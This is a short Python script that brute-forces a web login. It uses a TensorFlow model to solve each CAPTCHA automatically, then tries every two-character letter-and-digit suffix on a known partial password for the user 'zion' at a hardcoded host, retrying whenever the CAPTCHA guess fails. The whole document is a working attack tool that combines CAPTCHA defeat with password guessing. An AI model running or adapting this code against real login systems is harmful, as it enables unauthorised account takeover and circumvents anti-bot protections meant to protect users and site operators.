#!/usr/bin/python

import logging
import requests
import tensorflow as tf
from string import ascii_letters, digits


class CaptchaBreaker(object):
    BAD_PASSWORD = 'Wrong password'
    BAD_CAPTCHA = 'Incorrect captcha'

    def __init__(self, model_dir, host, username, known_partial_password):
        self.model_dir = model_dir
        self.host = host
        self.username = username
        self.known_partial_password = known_partial_password
        self.captcha_url = host + '/captcha.png'
        self.login_url = host + '/login'

        self.sess = tf.Session(graph=tf.Graph())
        tf.saved_model.loader.load(self.sess, ['serve'], self.model_dir)

    def log_in(self, password_suffix):
        session = requests.Session()
        captcha_image = session.get(self.captcha_url).content

        captcha_text = self.sess.run(
            'CAPTCHA/prediction:0',
            feed_dict={'CAPTCHA/input_image_as_bytes:0': captcha_image}
        )

        password_attempt = self.known_partial_password + str(password_suffix)
        login_attempt = session.post(
            self.login_url,
            data={'username': self.username, 'password': password_attempt, 'captcha': captcha_text})
        response = login_attempt.text
        err = self.parse_response(response, captcha_text, password_attempt)
        if err is self.BAD_CAPTCHA:
            self.log_in(password_suffix)

    def parse_response(self, response, captcha_text, password_attempt):
        if self.BAD_CAPTCHA in response:
            logging.info(' ' + self.BAD_CAPTCHA + ': ' + captcha_text)
            return self.BAD_CAPTCHA
        elif self.BAD_PASSWORD in response:
            logging.info(' ' + self.BAD_PASSWORD + ': ' + password_attempt)
        else:
            logging.warning('Something happened for password: ' + password_attempt + ' response is: ' + response)


def main():
    captcha_breaker = CaptchaBreaker('./tensorflow-savedmodel-captcha/',
                                     'https://i.cyberez.company',
                                     'zion',
                                     '2017-07-28-')
    for x in ascii_letters + digits:
        for y in ascii_letters + digits:
            captcha_breaker.log_in(x+y)


if __name__ == '__main__':
    logging.basicConfig(filename='run.log', level=logging.INFO)
    main()